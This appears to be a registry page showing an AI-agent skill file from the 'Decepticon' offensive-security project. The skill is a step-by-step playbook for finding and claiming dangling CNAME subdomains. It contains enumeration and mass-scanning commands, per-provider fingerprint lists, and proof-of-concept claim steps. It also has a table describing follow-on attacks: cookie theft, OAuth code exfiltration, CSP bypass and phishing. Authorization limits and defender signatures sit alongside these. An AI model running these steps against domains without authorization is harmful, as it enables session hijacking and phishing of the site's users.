CtrlK
BlogDocsLog inGet started
Tessl Logo

web-subdomain-takeover

Subdomain takeover via dangling DNS/CNAME — GitHub Pages, Heroku, Azure, Fastly, Shopify, Netlify, Surge, Tumblr, Beanstalk, Zendesk, etc.

60

Quality

71%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md
SKILL.md
Quality
Evals
Security

Subdomain Takeover (Dangling DNS / CNAME)

A subdomain CNAMEs to a SaaS provider (GitHub Pages, Heroku, S3, etc.) but the underlying tenant has been deleted, expired, or never claimed. Whoever registers the orphaned tenant name controls a trusted *.<TARGET> origin. Severity is almost always High → Critical because the attacker inherits the parent domain's cookie scope, CORS allowlist, OAuth redirect_uri whitelist, CSP *.<TARGET> allowance, and reputation.

1. Asset surface — enumerate every subdomain

# Passive (no traffic to target)
subfinder -d <TARGET> -all -silent -o subs.txt
amass enum -passive -d <TARGET> -o subs.amass.txt
assetfinder --subs-only <TARGET> >> subs.txt
findomain -t <TARGET> -q >> subs.txt
curl -s "https://crt.sh/?q=%25.<TARGET>&output=json" | jq -r '.[].name_value' | tr '\n' '\n' | sort -u >> subs.txt
sort -u subs.txt -o subs.txt

# Active resolution + CNAME extraction
dnsx -l subs.txt -cname -resp -silent -o subs.cname.txt
# subs.cname.txt format:  app.<TARGET>  [cname.provider.net]

2. CNAME → provider fingerprints

Resolve each subdomain, capture the CNAME, and match against the dangling-provider table below.

while read sub; do
  cname=$(dig +short CNAME "$sub" | head -n1)
  [ -z "$cname" ] && continue
  echo "$sub -> $cname"
done < subs.txt | tee cname.map
ProviderCNAME patternVulnerable fingerprint in HTTP body
GitHub Pages*.github.ioThere isn't a GitHub Pages site here.
Heroku*.herokuapp.com, *.herokussl.comNo such app / herokucdn.com/error-pages/no-such-app.html
AWS S3*.s3*.amazonaws.comNoSuchBucket
AWS Elastic Beanstalk*.elasticbeanstalk.comNXDOMAIN on CNAME target
Azure CloudApp*.cloudapp.net, *.cloudapp.azure.comNXDOMAIN
Azure Traffic Manager*.trafficmanager.netNXDOMAIN
Azure Edge / Front Door*.azureedge.net, *.azurefd.netNXDOMAIN
Azure Websites*.azurewebsites.net404 Web Site not found
Fastly*.fastly.netFastly error: unknown domain
Shopifyshops.myshopify.comSorry, this shop is currently unavailable.
Netlify*.netlify.app, *.netlify.comNot Found - Request ID (and the site is unclaimed)
Surge.sh*.surge.shproject not found
Tumblrdomains.tumblr.comWhatever you were looking for doesn't currently exist at this address.
Read the Docsreadthedocs.iounknown to Read the Docs
Zendesk*.zendesk.comHelp Center Closed
Unbounceunbouncepages.comThe requested URL was not found on this server.
Pantheon*.pantheonsite.ioThe gods are wise, but do not know of the site which you seek.
Help Scout*.helpscoutdocs.comNo settings were found for this company
Cargocargocollective.com404 Not Found + Cargo branding
Tilda*.tilda.wsPlease renew your subscription
Webflowproxy-ssl.webflow.comThe page you are looking for doesn't exist or has been moved.
Smartling*.smartling.comDomain is not configured
Worksites.net*.worksites.netHello! Sorry, but the website you're looking for doesn't exist.
Ghost*.ghost.ioSite unavailable / The thing you were looking for is no longer here, or never was
LaunchRock*.launchrock.comIt looks like you may have taken a wrong turn somewhere.

Canonical reference (updated by EdOverflow community): can-i-take-over-xyz.

3. Detection — body fingerprint

# Single subdomain
curl -sk -H 'Host: app.<TARGET>' "https://app.<TARGET>/" -o body.html -w '%{http_code}\n'
grep -iEf <(printf '%s\n' \
  "There isn't a GitHub Pages site here" \
  "no such app" "NoSuchBucket" "Fastly error: unknown domain" \
  "Sorry, this shop is currently unavailable" "project not found" \
  "Help Center Closed" "unknown to Read the Docs" \
  "The gods are wise" "Whatever you were looking for doesn't currently exist" \
  ) body.html

NXDOMAIN cases (Azure, Beanstalk) are detected at DNS layer — no HTTP body:

cname=$(dig +short CNAME "app.<TARGET>" | head -n1)
[ -n "$cname" ] && dig +short "$cname" | grep -q . || echo "DANGLING: $cname"

4. Mass detection

# subjack — fingerprints + claim hints
subjack -w subs.txt -t 50 -timeout 30 -ssl -c ~/go/pkg/mod/github.com/haccer/subjack/fingerprints.json -v -o subjack.out

# subzy — newer, maintained, more providers
subzy run --targets subs.txt --concurrency 50 --hide_fails --verify_ssl --output subzy.json

# nuclei takeover templates — most up-to-date provider list
nuclei -l subs.txt -t http/takeovers/ -severity high,critical -o nuclei.takeover.out

# Manual sanity check on hits
for s in $(awk '/VULNERABLE/{print $NF}' subjack.out); do
  echo "=== $s ==="; curl -sk -m 10 "https://$s/" | head -c 400; echo
done

5. Claim / PoC

can-i-take-over-xyz lists per-provider claim steps. General pattern: register an account on the provider, create the resource with the exact unclaimed name from the CNAME, deploy a marker page, and prove control.

# Marker page content — keep it boring, no defacement
cat > index.html <<EOF
<!doctype html><html><body>
<h1>Subdomain takeover PoC — authorized bug-bounty research</h1>
<p>Subdomain: app.<TARGET></p>
<p>Reported by: <RESEARCHER></p>
<p>Date: $(date -u +%FT%TZ)</p>
<p>Contact: <EMAIL></p>
</body></html>
EOF
# Deploy via the provider's normal flow (git push, heroku create, etc.)
# Then prove:
curl -sk "https://app.<TARGET>/" | grep -i 'authorized bug-bounty research'

OPSEC: never collect cookies, never serve JavaScript, never accept POSTs. Marker file + screenshot + DNS chain in the report is sufficient.

6. Chains — why this is rarely "informational"

ChainHow takeover unlocks it
Cookie theftCookies scoped to .<TARGET> are sent to your subdomain → session hijack on the parent app.
OAuth redirect_uriMany IdPs allow any *.<TARGET> as redirect_uri. Takeover → host the callback → exfil auth code.
CSP bypassIf parent app uses script-src *.<TARGET> or connect-src *.<TARGET>, you host attacker JS that the parent CSP trusts.
postMessage / CORSAccess-Control-Allow-Origin reflecting *.<TARGET> now trusts attacker JSON.
SAML / SSOACS URL allowlists by domain → forge assertions delivered to attacker subdomain.
Service WorkerA SW served from app.<TARGET> can intercept fetches inside its scope on that origin — full client-side compromise of any future user landing there.
Phishing / malware deliveryTrusted parent reputation + valid TLS → email filters and users trust the link.
Mixed-content / referrer leakageInternal tools that whitelist *.<TARGET> as image / iframe source leak referrers and IDs to attacker.

7. Detection signatures (for defenders)

SignalSource
CNAME RDATA pointing to provider where NXDOMAIN on the targetDNS audit
Provider error body served from *.<TARGET>HTTP probe
subjack/subzy/nuclei "VULNERABLE" lineMass scan
Provider tenant deleted but DNS not removed in IaC driftTerraform / Route53 audit
Recently expired SaaS subscription + still-resolving CNAMEProcurement cross-check

Remediation: remove the dangling DNS record OR re-claim the resource. Treat CNAMEs to external providers as production assets in CI/CD.

8. Decision gate

ObservationAction
CNAME → provider on the table AND fingerprint body matchesProceed to claim PoC → high/critical report
CNAME → provider AND NXDOMAIN at resolverSame — claim PoC required, often even higher
CNAME → provider but body shows a live tenant pageOut of scope, move on
No CNAME, but A record to provider IP range with no appOften false positive — verify provider docs before claiming
Subdomain in scope but parent program forbids subdomain takeover testingStop — report dangling DNS without claiming

Cross-references

  • OAuth chain: skills/standard/exploit/web/oauth/SKILL.md
  • Open redirect / cookie scoping: skills/standard/exploit/web/open-redirect/SKILL.md
  • WAF / origin discovery (sister recon): skills/standard/recon/web-recon/waf-detection/SKILL.md
  • Upstream: https://github.com/EdOverflow/can-i-take-over-xyz
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.